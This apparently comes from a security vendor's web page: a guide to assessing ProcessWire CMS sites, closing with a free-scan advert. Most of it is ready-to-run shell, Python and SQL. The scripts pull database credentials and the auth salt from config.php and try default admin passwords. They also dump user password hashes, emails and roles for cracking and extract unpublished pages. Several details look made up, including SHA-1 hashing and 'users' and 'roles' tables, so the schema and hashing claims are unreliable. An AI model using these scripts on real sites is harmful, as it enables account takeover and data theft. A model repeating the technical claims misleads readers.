ProcessWire is a flexible PHP CMS and CMF used extensively by digital agencies and developers for custom web applications. Key assessment areas: site/config.php exposes MySQL dbPass and dbUser credentials; admin credentials at /processwire/ use SHA-1+salt hashing; the REST Helper module may expose unauthenticated API endpoints; and the pages table contains all CMS content including unpublished drafts. This guide covers systematic ProcessWire security assessment.
# ProcessWire — site/config.php MySQL credential extraction
PW_URL="https://site.example.com"
# site/config.php — ProcessWire database configuration
cat /var/www/processwire/site/config.php 2>/dev/null | \
grep -E "dbHost|dbName|dbUser|dbPass|dbPort|userAuthSalt"
python3 -c "
import re
content = open('/var/www/processwire/site/config.php').read()
patterns = {
'dbPass': r\"dbPass\s*=\s*'([^']+)'\",
'dbUser': r\"dbUser\s*=\s*'([^']+)'\",
'dbName': r\"dbName\s*=\s*'([^']+)'\",
'dbHost': r\"dbHost\s*=\s*'([^']+)'\",
'userAuthSalt': r\"userAuthSalt\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# userAuthSalt: global salt mixed into all password hashes (important for cracking)
# \$config->dbPass = 'password'; <-- MySQL password (CRITICAL)
# \$config->userAuthSalt = '...'; <-- Global auth salt (needed for hash cracking)
# Check site/config.php web access
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${PW_URL}/site/config.php" 2>/dev/null)
echo "/site/config.php: HTTP ${STATUS}"
# Check /processwire/ admin panel accessibility
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PW_URL}/processwire/" 2>/dev/null)
echo "/processwire/: HTTP ${STATUS}"
# Test default admin credentials
for CRED in "admin:admin" "admin:password" "admin:Admin123"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
# Get CSRF token
CSRF=$(curl -s "${PW_URL}/processwire/" 2>/dev/null | \
grep -oP '_token.*?value="\K[^"]+' | head -1)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${PW_URL}/processwire/" \
-d "_token=${CSRF}&login_name=${USER}&login_pass=${PASS}" \
-c /tmp/pw_c -b /tmp/pw_c -L 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# ProcessWire REST API — module token and unauthenticated access assessment
PW_URL="https://site.example.com"
# ProcessWire REST Helper module (if installed)
# Typical endpoint: /api/ or /rest/
for API_PATH in "/api/" "/rest/" "/pw-api/"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PW_URL}${API_PATH}" 2>/dev/null)
echo "${API_PATH}: HTTP ${STATUS}"
done
# Enumerate ProcessWire REST API endpoints (unauthenticated)
curl -s "${PW_URL}/api/pages/" 2>/dev/null | \
python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
items=d.get('items',[]) if isinstance(d,dict) else d
print(f'Pages accessible: {len(items)}')
for p in items[:5]:
print(f' [{p.get(\"id\")}] {p.get(\"title\")} — {p.get(\"url\")}')
except: print('Error or restricted')
" 2>/dev/null
# ProcessWire API key (if configured in site/config.php)
python3 -c "
content = open('/var/www/processwire/site/config.php').read()
import re
m = re.search(r\"apiKey\s*=\s*'([^']+)'\", content)
if m: print(f'API key: {m.group(1)}')
" 2>/dev/null
# ProcessWire admin panel — check for file manager (if AdminFileManager module)
ADMIN_SESS="extracted-admin-session"
curl -s "${PW_URL}/processwire/setup/filemanager/" \
-b "processwire=${ADMIN_SESS}" 2>/dev/null | \
grep -i "upload\|file" | head -3
# ProcessWire MySQL database — users hash and content extraction
DB_PASS="extracted-db-password"
USER_AUTH_SALT="extracted-userAuthSalt" # from site/config.php
mysql -u processwire -p"${DB_PASS}" processwire 2>/dev/null << 'EOF'
-- ProcessWire users table — accounts with SHA-1 password hashes
SELECT u.pages_id, u.name, u.pass, u.email,
u.created, u.modified, u.last_login,
u.status
FROM users u
ORDER BY u.pages_id
LIMIT 20;
-- pass: SHA-1(userAuthSalt + SHA-1(userAuthSalt + password))
-- ProcessWire uses double SHA-1 with global salt from site/config.php
-- status: 1=active, 2=temp, 4=suspended
-- ProcessWire roles — identify superuser accounts
SELECT r.pages_id, r.name
FROM roles r
ORDER BY r.pages_id;
-- superuser role (pages_id=37 in default install) = full admin access
-- User-to-role mapping
SELECT ur.users_id, ur.roles_id,
u.name, u.email, r.name as role_name
FROM users_roles ur
JOIN users u ON u.pages_id = ur.users_id
JOIN roles r ON r.pages_id = ur.roles_id
ORDER BY ur.users_id;
-- Pages table — all CMS content including hidden/unpublished
SELECT p.id, p.parent_id, p.templates_id,
p.name, p.status, p.created, p.modified
FROM pages p
WHERE p.status != 1 -- include non-published pages
ORDER BY p.id
LIMIT 30;
-- status: 1=published, 2097152=hidden, 2048=unpublished draft
-- Field data — actual page content (fields stored in field_* tables)
-- Example: field_body for body text content
SELECT f.pages_id, f.data as body_content
FROM field_body f
ORDER BY f.pages_id
LIMIT 10;
EOF
| Security Test | Method | Risk |
|---|---|---|
| site/config.php MySQL dbPass and userAuthSalt extraction | Read /var/www/processwire/site/config.php — database credentials and global password salt; enables batch cracking of all users table SHA-1 hashes | Critical |
| users table double-SHA-1 hash extraction with userAuthSalt | MySQL SELECT pass FROM users — SHA-1 hashes crackable with extracted userAuthSalt; all user accounts including superuser compromised | High |
| REST API module unauthenticated page content access | GET /api/pages/ — enumerate all pages including draft/hidden content if REST module lacks authentication | High |
| Admin credential brute-force at /processwire/ | POST /processwire/ — admin/admin or common passwords; admin session enables full CMS control, file uploads, module installation | High |
| pages table hidden and unpublished content access | MySQL SELECT from pages WHERE status != 1 — draft content, hidden pages, private data not publicly accessible via the website | Medium |
Ironimo tests ProcessWire deployments for site/config.php MySQL dbPass and userAuthSalt web exposure, admin credential brute-force at /processwire/ admin panel, users table double-SHA-1+userAuthSalt hash extraction enabling batch password cracking, superuser role identification via users_roles mapping, REST API module unauthenticated page content access assessment, pages table hidden and unpublished draft content enumeration, site/assets/files/ sensitive document access without authentication, ProcessWire module inventory for unpatched CVE detection, and ProcessWire version disclosure for security advisory targeting.
Start free scan